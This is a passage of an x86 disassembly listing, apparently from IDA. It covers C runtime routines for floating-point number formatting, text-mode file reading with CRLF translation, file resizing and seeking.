short loc_40C390 cmp word ptr [ecx], 0 jz short loc_40C397 loc_40C390: ; CODE XREF: sub_40C360+1Aj ; sub_40C360+21j ... mov edx, 2 jmp short loc_40C39C ; --------------------------------------------------------------------------- loc_40C397: ; CODE XREF: sub_40C360+2Ej mov edx, 1 loc_40C39C: ; CODE XREF: sub_40C360+35j mov ax, dx movsx eax, ax retn ; --------------------------------------------------------------------------- loc_40C3A3: ; CODE XREF: sub_40C360+12j movzx eax, word ptr [ecx+6] test eax, 0FFFF7FFFh jnz short loc_40C3C2 cmp word ptr [ecx+4], 0 jnz short loc_40C3C2 cmp word ptr [ecx+2], 0 jnz short loc_40C3C2 cmp word ptr [ecx], 0 jz short loc_40C3C6 loc_40C3C2: ; CODE XREF: sub_40C360+4Cj ; sub_40C360+53j ... or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40C3C6: ; CODE XREF: sub_40C360+60j xor eax, eax retn sub_40C360 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3D0 proc near ; CODE XREF: sub_40B310+5Cp arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40CFB0 add esp, 8 movsx eax, ax pop ebp retn sub_40C3D0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C3F0 proc near ; CODE XREF: sub_40B310+200p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, [ebp+arg_4] push eax mov eax, [ebp+arg_0] push eax call sub_40D050 add esp, 8 movsx eax, ax pop ebp retn sub_40C3F0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40C410 proc near ; CODE XREF: sub_40B310+20Bp ; sub_40B310+498p var_C = qword ptr -0Ch var_4 = word ptr -4 var_2 = word ptr -2 sub esp, 0Ch fstcw [esp+0Ch+var_2] mov ax, [esp+0Ch+var_2] or ah, 0Ch mov [esp+0Ch+var_4], ax fldcw [esp+0Ch+var_4] fistp [esp+0Ch+var_C] fldcw [esp+0Ch+var_2] mov eax, dword ptr [esp+0Ch+var_C] mov edx, dword ptr [esp+0Ch+var_C+4] add esp, 0Ch retn sub_40C410 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C440 proc near ; CODE XREF: sub_40B310+4D6p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 8 push ebx push esi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] mov eax, ebx mov ecx, esi cdq idiv ecx mov [ebp+var_8], eax mov edx, esi imul edx, eax mov eax, ebx sub eax, edx mov [ebp+var_4], eax mov eax, [ebp+var_8] mov edx, [ebp+var_4] pop esi pop ebx mov esp, ebp pop ebp retn sub_40C440 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C470 proc near ; CODE XREF: sub_40B310+64Cp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_12 = byte ptr -12h var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch arg_8 = dword ptr 10h arg_C = word ptr 14h arg_10 = word ptr 18h push ebp mov ebp, esp sub esp, 1Ch push ebx mov eax, off_4119D0 mov al, [eax] mov [ebp+var_1], al cmp [ebp+arg_C], 0 jg short loc_40C495 mov [ebp+arg_C], 1 mov [ebp+arg_8], offset dword_4101E0 loc_40C495: ; CODE XREF: sub_40C470+16j mov al, [ebp+arg_4] cmp al, 66h jz short loc_40C4C9 cmp al, 46h jz short loc_40C4C9 cmp al, 67h jz short loc_40C4AC cmp al, 47h jnz loc_40C713 loc_40C4AC: ; CODE XREF: sub_40C470+32j mov ax, [ebp+arg_10] cmp ax, 0FFFCh jl loc_40C713 movsx eax, ax mov edx, [ebp+arg_0] cmp eax, [edx+2Ch] jge loc_40C713 loc_40C4C9: ; CODE XREF: sub_40C470+2Aj ; sub_40C470+2Ej add [ebp+arg_10], 1 mov al, [ebp+arg_4] cmp al, 67h jz short loc_40C4D9 cmp al, 47h jnz short loc_40C514 loc_40C4D9: ; CODE XREF: sub_40C470+63j mov eax, [ebp+arg_0] test word ptr [eax+38h], 8 jnz short loc_40C4F7 movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_40C4F7 mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_40C4F7: ; CODE XREF: sub_40C470+72j ; sub_40C470+7Bj mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_10] sub edx, ecx mov [eax+2Ch], edx test edx, edx jge short loc_40C514 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_40C514: ; CODE XREF: sub_40C470+67j ; sub_40C470+98j cmp [ebp+arg_10], 0 jg loc_40C5E0 mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov byte ptr [eax+edx], 30h mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C546 test word ptr [eax+38h], 8 jz short loc_40C55E loc_40C546: ; CODE XREF: sub_40C470+CCj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C55E: ; CODE XREF: sub_40C470+D4j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] neg edx cmp [eax+2Ch], edx jge short loc_40C578 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] neg eax mov [ebp+arg_10], ax loc_40C578: ; CODE XREF: sub_40C470+FAj mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] neg eax mov [edx+20h], eax mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+2Ch] add edx, ecx mov [eax+2Ch], edx mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_40C5A9 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C5A9: ; CODE XREF: sub_40C470+12Dj movsx eax, [ebp+arg_C] mov edx, [ebp+arg_0] mov [edx+24h], eax push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+28h], edx jmp loc_40C905 ; --------------------------------------------------------------------------- loc_40C5E0: ; CODE XREF: sub_40C470+A9j mov ax, [ebp+arg_10] cmp [ebp+arg_C], ax jge short loc_40C65A movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov edx, [ebp+arg_0] movsx eax, [ebp+arg_10] movsx ecx, [ebp+arg_C] sub eax, ecx mov [edx+20h], eax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C637 test word ptr [eax+38h], 8 jz short loc_40C64C loc_40C637: ; CODE XREF: sub_40C470+1BDj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl mov eax, [ebp+arg_0] inc dword ptr [eax+24h] loc_40C64C: ; CODE XREF: sub_40C470+1C5j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] mov [eax+28h], edx jmp loc_40C905 ; --------------------------------------------------------------------------- loc_40C65A: ; CODE XREF: sub_40C470+178j movsx eax, [ebp+arg_10] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_10] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov ax, [ebp+arg_10] sub [ebp+arg_C], ax mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C69F test word ptr [eax+38h], 8 jz short loc_40C6B7 loc_40C69F: ; CODE XREF: sub_40C470+225j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C6B7: ; CODE XREF: sub_40C470+22Dj mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp [eax+2Ch], edx jge short loc_40C6CD mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C6CD: ; CODE XREF: sub_40C470+251j movsx eax, [ebp+arg_C] push eax movsx eax, [ebp+arg_10] mov edx, [ebp+arg_8] add eax, edx push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx jmp loc_40C905 ; --------------------------------------------------------------------------- loc_40C713: ; CODE XREF: sub_40C470+36j ; sub_40C470+44j ... mov al, [ebp+arg_4] cmp al, 67h jz short loc_40C71E cmp al, 47h jnz short loc_40C769 loc_40C71E: ; CODE XREF: sub_40C470+2A8j mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] cmp edx, [eax+2Ch] jge short loc_40C73C test word ptr [eax+38h], 8 jnz short loc_40C73C mov edx, [ebp+arg_0] movsx eax, [ebp+arg_C] mov [edx+2Ch], eax loc_40C73C: ; CODE XREF: sub_40C470+2B8j ; sub_40C470+2C0j mov eax, [ebp+arg_0] mov edx, [eax+2Ch] dec edx mov [eax+2Ch], edx test edx, edx jge short loc_40C754 mov edx, [ebp+arg_0] mov dword ptr [edx+2Ch], 0 loc_40C754: ; CODE XREF: sub_40C470+2D8j xor eax, eax cmp [ebp+arg_4], 67h setnz al dec eax and eax, 20h add eax, 45h mov [ebp+arg_4], al jmp short loc_40C77F ; --------------------------------------------------------------------------- loc_40C769: ; CODE XREF: sub_40C470+2ACj cmp [ebp+arg_4], 61h jnz short loc_40C775 mov [ebp+arg_4], 70h jmp short loc_40C77F ; --------------------------------------------------------------------------- loc_40C775: ; CODE XREF: sub_40C470+2FDj cmp [ebp+arg_4], 41h jnz short loc_40C77F mov [ebp+arg_4], 50h loc_40C77F: ; CODE XREF: sub_40C470+2F7j ; sub_40C470+303j ... mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_8] lea ecx, [eax+1] mov [ebp+arg_8], ecx mov ecx, [ebp+arg_0] mov ecx, [ecx+10h] mov al, [eax] mov [ecx+edx], al mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jg short loc_40C7B0 test word ptr [eax+38h], 8 jz short loc_40C7C8 loc_40C7B0: ; CODE XREF: sub_40C470+336j mov eax, [ebp+arg_0] mov edx, [eax+1Ch] lea ecx, [edx+1] mov [eax+1Ch], ecx mov eax, [ebp+arg_0] mov eax, [eax+10h] mov cl, [ebp+var_1] mov [eax+edx], cl loc_40C7C8: ; CODE XREF: sub_40C470+33Ej mov eax, [ebp+arg_0] cmp dword ptr [eax+2Ch], 0 jle short loc_40C82B mov ax, [ebp+arg_C] dec ax mov [ebp+arg_C], ax mov edx, [ebp+arg_0] movsx eax, ax cmp [edx+2Ch], eax jge short loc_40C7F0 mov eax, [ebp+arg_0] mov eax, [eax+2Ch] mov [ebp+arg_C], ax loc_40C7F0: ; CODE XREF: sub_40C470+374j movsx eax, [ebp+arg_C] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx push eax call sub_4076F0 add esp, 0Ch mov eax, [ebp+arg_0] movsx edx, [ebp+arg_C] mov ecx, [eax+1Ch] add edx, ecx mov [eax+1Ch], edx mov eax, [ebp+arg_0] mov edx, [eax+2Ch] movsx ecx, [ebp+arg_C] sub edx, ecx mov [eax+20h], edx loc_40C82B: ; CODE XREF: sub_40C470+35Fj mov eax, [ebp+arg_0] mov edx, [eax+1Ch] mov eax, [eax+10h] add eax, edx mov [ebp+arg_8], eax lea edx, [eax+1] mov [ebp+arg_8], edx mov dl, [ebp+arg_4] mov [eax], dl cmp [ebp+arg_10], 0 jl short loc_40C859 mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Bh jmp short loc_40C869 ; --------------------------------------------------------------------------- loc_40C859: ; CODE XREF: sub_40C470+3D9j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 2Dh neg [ebp+arg_10] loc_40C869: ; CODE XREF: sub_40C470+3E7j mov [ebp+var_8], 0 jmp short loc_40C89B ; --------------------------------------------------------------------------- loc_40C872: ; CODE XREF: sub_40C470+430j push 0Ah movsx eax, [ebp+arg_10] push eax call sub_40D270 add esp, 8 mov [ebp+var_1C], eax mov [ebp+var_18], edx mov eax, [ebp+var_8] mov edx, [ebp+var_18] mov [ebp+eax+var_12], dl mov eax, [ebp+var_1C] mov [ebp+arg_10], ax inc [ebp+var_8] loc_40C89B: ; CODE XREF: sub_40C470+400j cmp [ebp+arg_10], 0 jg short loc_40C872 cmp [ebp+var_8], 2 jge short loc_40C8BF mov al, [ebp+arg_4] cmp al, 65h jz short loc_40C8B3 cmp al, 45h jnz short loc_40C8BF loc_40C8B3: ; CODE XREF: sub_40C470+43Dj mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h loc_40C8BF: ; CODE XREF: sub_40C470+436j ; sub_40C470+441j cmp [ebp+var_8], 0 jnz short loc_40C8EC mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov byte ptr [eax], 30h jmp short loc_40C8EC ; --------------------------------------------------------------------------- loc_40C8D3: ; CODE XREF: sub_40C470+480j mov eax, [ebp+arg_8] lea edx, [eax+1] mov [ebp+arg_8], edx mov edx, [ebp+var_8] dec edx mov [ebp+var_8], edx mov dl, [ebp+edx+var_12] add dl, 30h mov [eax], dl loc_40C8EC: ; CODE XREF: sub_40C470+453j ; sub_40C470+461j cmp [ebp+var_8], 0 jg short loc_40C8D3 mov eax, [ebp+arg_0] mov edx, [ebp+arg_8] mov ecx, [eax+1Ch] mov ebx, [eax+10h] add ecx, ebx sub edx, ecx mov [eax+24h], edx loc_40C905: ; CODE XREF: sub_40C470+16Bj ; sub_40C470+1E5j ... mov eax, [ebp+arg_0] movzx eax, word ptr [eax+38h] and eax, 14h cmp eax, 10h jnz short loc_40C948 mov eax, [ebp+arg_0] mov edx, [eax+14h] mov ecx, [eax+1Ch] add edx, ecx mov ecx, [eax+20h] add edx, ecx mov ecx, [eax+24h] add edx, ecx mov eax, [eax+28h] add eax, edx mov [ebp+var_8], eax mov eax, [ebp+arg_0] mov eax, [eax+34h] cmp [ebp+var_8], eax jge short loc_40C948 mov eax, [ebp+arg_0] mov edx, [eax+34h] sub edx, [ebp+var_8] mov [eax+18h], edx loc_40C948: ; CODE XREF: sub_40C470+4A2j ; sub_40C470+4CAj pop ebx mov esp, ebp pop ebp retn sub_40C470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40C950 proc near ; CODE XREF: sub_40B9A0+348p ; DMN0:0040CCCBp var_11 = byte ptr -11h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 14h push ebx push esi push edi mov ebx, [ebp+arg_0] xor edi, edi mov eax, [ebp+arg_4] mov [ebp+var_C], eax cmp [ebp+arg_8], 0 jz short loc_40C985 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 2 jz short loc_40C98C loc_40C985: ; CODE XREF: sub_40C950+18j xor eax, eax jmp loc_40CC75 ; --------------------------------------------------------------------------- loc_40C98C: ; CODE XREF: sub_40C950+33j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] add eax, edx test byte ptr [eax+4], 48h jz short loc_40C9EE cmp byte ptr [eax+5], 0Ah jz short loc_40C9EE mov eax, [ebp+var_C] lea edx, [eax+1] mov [ebp+var_C], edx mov edx, ebx and edx, 1Fh imul edx, 24h mov ecx, ebx sar ecx, 5 mov ecx, dword_413988[ecx*4] mov dl, [ecx+edx+5] mov [eax], dl inc edi dec [ebp+arg_8] mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov byte ptr [edx+eax+5], 0Ah loc_40C9EE: ; CODE XREF: sub_40C950+56j ; sub_40C950+5Cj push 0 lea eax, [ebp+var_4] push eax mov eax, [ebp+arg_8] push eax mov eax, [ebp+var_C] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 test eax, eax jnz short loc_40CA5E call dword_411CE8 mov [ebp+var_10], eax cmp eax, 5 jnz short loc_40CA3F call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp loc_40CC75 ; --------------------------------------------------------------------------- loc_40CA3F: ; CODE XREF: sub_40C950+DAj cmp [ebp+var_10], 6Dh jnz short loc_40CA4C xor eax, eax jmp loc_40CC75 ; --------------------------------------------------------------------------- loc_40CA4C: ; CODE XREF: sub_40C950+F3j mov eax, [ebp+var_10] push eax call sub_408300 pop ecx or eax, 0FFFFFFFFh jmp loc_40CC75 ; --------------------------------------------------------------------------- loc_40CA5E: ; CODE XREF: sub_40C950+CCj mov eax, [ebp+var_4] add edi, eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 80h jz loc_40CC73 cmp [ebp+var_4], 0 jz short loc_40CAAD mov eax, [ebp+arg_4] cmp byte ptr [eax], 0Ah jnz short loc_40CAAD mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 4 jmp short loc_40CAC8 ; --------------------------------------------------------------------------- loc_40CAAD: ; CODE XREF: sub_40C950+136j ; sub_40C950+13Ej mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] and byte ptr [eax], 0FBh loc_40CAC8: ; CODE XREF: sub_40C950+15Bj mov eax, [ebp+arg_4] mov [ebp+var_8], eax mov esi, eax jmp loc_40CC5C ; --------------------------------------------------------------------------- loc_40CAD5: ; CODE XREF: sub_40C950+313j cmp byte ptr [esi], 1Ah jnz short loc_40CB19 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 40h jnz loc_40CC69 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] lea eax, [edx+eax+4] or byte ptr [eax], 2 jmp loc_40CC69 ; --------------------------------------------------------------------------- loc_40CB19: ; CODE XREF: sub_40C950+188j cmp byte ptr [esi], 0Dh jz short loc_40CB33 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_40CC5C ; --------------------------------------------------------------------------- loc_40CB33: ; CODE XREF: sub_40C950+1CCj mov eax, [ebp+arg_4] lea eax, [eax+edi-1] cmp esi, eax jnb short loc_40CB6D cmp byte ptr [esi+1], 0Ah jnz short loc_40CB58 add esi, 2 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp loc_40CC5C ; --------------------------------------------------------------------------- loc_40CB58: ; CODE XREF: sub_40C950+1F2j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov edx, esi inc esi mov dl, [edx] mov [eax], dl jmp loc_40CC5C ; --------------------------------------------------------------------------- loc_40CB6D: ; CODE XREF: sub_40C950+1ECj inc esi mov [ebp+var_10], 0 push 0 lea eax, [ebp+var_4] push eax push 1 lea eax, [ebp+var_11] push eax mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov eax, [edx+eax] push eax call dword_411E18 test eax, eax jnz short loc_40CBAC call dword_411CE8 mov [ebp+var_10], eax loc_40CBAC: ; CODE XREF: sub_40C950+251j cmp [ebp+var_10], 0 jnz short loc_40CBB8 cmp [ebp+var_4], 0 jnz short loc_40CBC9 loc_40CBB8: ; CODE XREF: sub_40C950+260j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh jmp loc_40CC5C ; --------------------------------------------------------------------------- loc_40CBC9: ; CODE XREF: sub_40C950+266j mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 48h jz short loc_40CC21 cmp [ebp+var_11], 0Ah jnz short loc_40CBF8 mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_40CC5C ; --------------------------------------------------------------------------- loc_40CBF8: ; CODE XREF: sub_40C950+298j mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] mov cl, [ebp+var_11] mov [edx+eax+5], cl jmp short loc_40CC5C ; --------------------------------------------------------------------------- loc_40CC21: ; CODE XREF: sub_40C950+292j mov eax, [ebp+arg_4] cmp eax, [ebp+var_8] jnz short loc_40CC3D cmp [ebp+var_11], 0Ah jnz short loc_40CC3D mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Ah jmp short loc_40CC5C ; --------------------------------------------------------------------------- loc_40CC3D: ; CODE XREF: sub_40C950+2D7j ; sub_40C950+2DDj push 1 push 0FFFFFFFFh push ebx call sub_40BEB0 add esp, 0Ch cmp [ebp+var_11], 0Ah jz short loc_40CC5C mov eax, [ebp+var_8] lea edx, [eax+1] mov [ebp+var_8], edx mov byte ptr [eax], 0Dh loc_40CC5C: ; CODE XREF: sub_40C950+180j ; sub_40C950+1DEj ... mov eax, [ebp+arg_4] add eax, edi cmp esi, eax jb loc_40CAD5 loc_40CC69: ; CODE XREF: sub_40C950+1A3j ; sub_40C950+1C4j mov eax, [ebp+var_8] mov edx, [ebp+arg_4] sub eax, edx mov edi, eax loc_40CC73: ; CODE XREF: sub_40C950+12Cj mov eax, edi loc_40CC75: ; CODE XREF: sub_40C950+37j ; sub_40C950+EAj ... pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40C950 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ebx push esi mov ebx, [ebp+8] cmp ebx, dword_413A88 jnb short loc_40CCAB mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40CCBB loc_40CCAB: ; CODE XREF: DMN0:0040CC8Ej call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40CCDE ; --------------------------------------------------------------------------- loc_40CCBB: ; CODE XREF: DMN0:0040CCA9j push ebx call sub_40AD40 pop ecx mov eax, [ebp+10h] push eax mov eax, [ebp+0Ch] push eax push ebx call sub_40C950 add esp, 0Ch mov esi, eax push ebx call sub_40ADA0 pop ecx mov eax, esi loc_40CCDE: ; CODE XREF: DMN0:0040CCB9j pop esi pop ebx pop ebp retn ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, [ebp+0Ch] push eax mov eax, [ebp+8] push eax call sub_40CE60 add esp, 8 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CD10 proc near ; CODE XREF: sub_40B9A0+35Fp ; sub_40CE60+46p var_1014 = dword ptr -1014h var_1010 = byte ptr -1010h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1014h call sub_4077F0 push ebx push esi push edi mov ebx, [ebp+arg_0] mov [ebp+var_4], 0 push 1 push 0 push ebx call sub_40BEB0 add esp, 0Ch mov [ebp+var_C], eax cmp eax, 0FFFFFFFFh jz short loc_40CD54 push 2 push 0 push ebx call sub_40BEB0 add esp, 0Ch mov [ebp+var_8], eax cmp eax, 0FFFFFFFFh jnz short loc_40CD5C loc_40CD54: ; CODE XREF: sub_40CD10+2Dj or eax, 0FFFFFFFFh jmp loc_40CE50 ; --------------------------------------------------------------------------- loc_40CD5C: ; CODE XREF: sub_40CD10+42j mov eax, [ebp+arg_4] mov esi, eax sub esi, [ebp+var_8] test esi, esi jle loc_40CE01 lea edx, [ebp+var_1010] mov ecx, 1000h xor eax, eax push edi mov edi, edx rep stosb pop edi mov eax, edx push 8000h push ebx call sub_40D2A0 add esp, 8 mov [ebp+var_10], eax loc_40CD92: ; CODE XREF: sub_40CD10+E0j cmp esi, 1000h jb short loc_40CDA6 mov [ebp+var_1014], 1000h jmp short loc_40CDAE ; --------------------------------------------------------------------------- loc_40CDA6: ; CODE XREF: sub_40CD10+88j mov eax, esi mov [ebp+var_1014], eax loc_40CDAE: ; CODE XREF: sub_40CD10+94j mov eax, [ebp+var_1014] push eax lea eax, [ebp+var_1010] push eax push ebx call sub_40A730 add esp, 0Ch mov edi, eax cmp eax, 0FFFFFFFFh jnz short loc_40CDE8 call dword_411CE8 cmp eax, 5 jnz short loc_40CDE2 call sub_408460 mov dword ptr [eax], 0Dh loc_40CDE2: ; CODE XREF: sub_40CD10+C5j or [ebp+var_4], 0FFFFFFFFh jmp short loc_40CDF2 ; --------------------------------------------------------------------------- loc_40CDE8: ; CODE XREF: sub_40CD10+BAj mov eax, esi sub eax, edi mov esi, eax test eax, eax jg short loc_40CD92 loc_40CDF2: ; CODE XREF: sub_40CD10+D6j mov eax, [ebp+var_10] push eax push ebx call sub_40D2A0 add esp, 8 jmp short loc_40CE3E ; --------------------------------------------------------------------------- loc_40CE01: ; CODE XREF: sub_40CD10+56j test esi, esi jge short loc_40CE3E push 0 mov eax, [ebp+arg_4] push eax push ebx call sub_40BEB0 add esp, 0Ch push ebx call sub_40AC20 pop ecx push eax call dword_411E1C test eax, eax setnz al and eax, 1 dec eax mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh jnz short loc_40CE3E call sub_408460 mov dword ptr [eax], 0Dh loc_40CE3E: ; CODE XREF: sub_40CD10+EFj ; sub_40CD10+F3j ... push 0 mov eax, [ebp+var_C] push eax push ebx call sub_40BEB0 add esp, 0Ch mov eax, [ebp+var_4] loc_40CE50: ; CODE XREF: sub_40CD10+47j pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_40CD10 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= sub_40CE60 proc near ; CODE XREF: DMN0:0040CCFBp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx push esi mov ebx, [esp+8+arg_0] cmp ebx, dword_413A88 jnb short loc_40CE89 mov eax, ebx and eax, 1Fh imul eax, 24h mov edx, ebx sar edx, 5 mov edx, dword_413988[edx*4] test byte ptr [edx+eax+4], 1 jnz short loc_40CE99 loc_40CE89: ; CODE XREF: sub_40CE60+Cj call sub_408460 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_40CEB9 ; --------------------------------------------------------------------------- loc_40CE99: ; CODE XREF: sub_40CE60+27j push ebx call sub_40AD40 pop ecx mov eax, [esp+8+arg_4] push eax push ebx call sub_40CD10 add esp, 8 mov esi, eax push ebx call sub_40ADA0 pop ecx mov eax, esi loc_40CEB9: ; CODE XREF: sub_40CE60+37j pop esi pop ebx retn sub_40CE60 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40CEC0 proc near ; CODE XREF: sub_40BD80+EFp ; sub_40BD80+100p ... var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 10h push ebx push esi push edi mov ebx, [ebp+arg_0] mov esi, [ebp+arg_4] jmp loc_40CF7D ; --------------------------------------------------------------------------- loc_40CED4: ; CODE 